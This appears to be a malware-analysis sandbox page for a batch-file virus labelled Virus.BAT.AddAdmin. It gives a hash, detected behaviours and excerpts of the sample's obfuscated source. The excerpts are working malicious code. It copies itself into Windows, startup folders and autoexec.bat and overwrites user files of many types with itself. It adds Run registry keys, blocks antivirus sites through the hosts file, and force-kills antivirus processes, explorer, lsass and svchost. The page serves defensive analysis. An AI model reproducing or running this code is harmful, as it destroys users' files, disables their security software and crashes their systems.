Hostile 100% Download

Virus.BAT.AddAdmin

Self-replicating virus with AV evasion

Batch file replicates itself into othersLoop copies this script onto matches
SHA-25602bfca9e6c67054b1e0b9d6541552cc2d00756e2fb4fc71dd6b44f26c7c81a2c
MaleculeO₅(I₅CEr₃P₃Ca₂)H₃(F₇Os₅Po₂)Md

Evidence

Batch copies its own file elsewhere lines 10–33
⋯4 lines
14%ZCLO%
15%JY8I%
16COPY %0 %WINDIR%\%A%.bat
17%X6O1%
18%PSDO%
19set Author=tskill
20%AUTHOR% norton*
21%AUTHOR% av*
22%AUTHOR% fire*
⋯11 lines
Batch reg.exe writes a CurrentVersion Run key lines 33–53
⋯7 lines
40%MBI8%
41%GB6J%
42REG add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v VirusName /t REG_SZ /d %WINDIR%\%A%.bat /f > nul
43%476g%
44%1hoy%
45REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v VirusName /t REG_SZ /d %WINDIR%\%A%.bat /f > nul
46%KRCF%
47%VN8V%
⋯6 lines
Startup-folder script path reference lines 55–81
55:29… >> %WINDIR%\system.ini
56%Y1ZM%
57%VIRUSNAME1% shell=explorer.exe %A%.bat >> %WINDIR%\system.ini
58%WUNP%
59%YRRN%
60CHCP 1252 > nul
61%RANDOM%%AUTHOR%%RANDOM%%VIRUSNAME%
62COPY %0 "C:\Documents and Settings\All Users\Start Menu�\Programme\Autostart\%A%.bat" > nul
63%MK8B%
64COPY %0 "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\%A%.bat" > nul
65%RANDOM%%AUTHOR%%RANDOM%%VIRUSNAME%
66%WGDE%
67%8tgp%
68for %%i in (*.bat *.txt *.doc *.pdf *.jpg *.mp3 *.reg *.msi *.gif *.png *.chm *.ini *.inf *.rar *.zip *.torrent *.vbs *.vbe *.js *.jse *.jpg *.wav *.ico *.scf *.pif *.com *.scr) do COPY %0 %%i > nul
69%X8BE%
70set VirusName2=echo
71%GCK1%
72%W8AN%
73%VIRUSNAME2% 127.0.0.1 www.google.com > %WINDIR%\system32\drivers\etc\hosts
74%VIRUSNAME2% 127.0.0.1 www.google.de >> %WINDIR%\system32\drivers\etc\hosts
75%VIRUSNAME2% 127.0.0.1 www.symantec.de >> %WINDIR%\system32\drivers\etc\hosts
76%VIRUSNAME2% 127.0.0.1 www.free-av.de >> %WINDIR%\system32\drivers\etc\hosts
77%VIRUSNAME2% 127.0.0.1 www.free-av.com >> %WINDIR%\system32\drivers\etc\hosts
78%VIRUSNAME2% 127.0.0.1 www.antivir.de >> %WINDIR%\system32\drivers\etc\hosts
79%VIRUSNAME2% 127.0.0.1 www.antivir.com >> %WINDIR%\system32\drivers\etc\hosts
80%VIRUSNAME2% 127.0.0.1 www.kaspersky.com >> %WINDIR%\system32\drivers\etc\hosts
81%VIRUSNAME2% 127.0.0.1 www.kaspersky.de >> %WINDIR%\system32\drivers\etc\h …
Batch loops over files and invokes itself lines 124–143
124:29… .de >> %WINDIR%\system32\drivers\etc\hosts
125%4ryf%
126%DLFX%
127set x=%RANDOM%
128%TR17%
129%7t3y%
130COPY %0 %WINDIR%\%X%.bat > nul
131REG add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v html /t REG_SZ /d "%WINDIR%\%X%.bat" /f > nul
132REG add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices" /v VirusName /t REG_SZ /d "%WINDIR%\%A%.bat" /f > nul
133CD %WINDIR%\system32
134for %%i in (*.bat) do COPY %0 %%i > nul
135CD ..
136for %%i in (*.bat) do COPY %0 %%i > nul
137COPY %0 c:\autoexec.bat
138%O2DO%
139%TKFC%
⋯4 lines
Antivirus security process images lines 191–216
⋯8 lines
199CHCP 1252 > nul
200%RANDOM%%VIRUSNAME%%RANDOM%%VIRUSNAME%
201COPY %0 "C:\Documents and Settings\All Users\Start Menu�\Programs\Autostart\%RANDOM%.bat" > nul
202COPY %0 "C:\Documents and Settings\All Users\Start Menu�\Programs\%RANDOM%.bat" > nul
203COPY %0 "C:\Documents and Settings\All Users\Start Menu�\%RANDOM%.bat" > nul
204COPY %0 "C:\Documents and Settings\%USERNAME%\Desktop\%RANDOM%.bat" > nul
205COPY %0 "C:\%RANDOM%.bat" > nul
206%RANDOM%%AUTHOR%%RANDOM%%AUTHOR%
207%1pva%
208TASKKILL /f /im explorer.exe /im kav.exe /im avp.exe /im avpm.exe /im avp32.exe /im ABmenu.exe /im arcascan.exe /im avmonsv.exe /im mcshield.exe /im bdmon.exe /im hijackthis.exe > nul
209TASKKILL /f /im lsass.exe > nul
210TASKKILL /f /im svchost.exe > nul
211goto BOMBING
212%8aya%
⋯4 lines

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.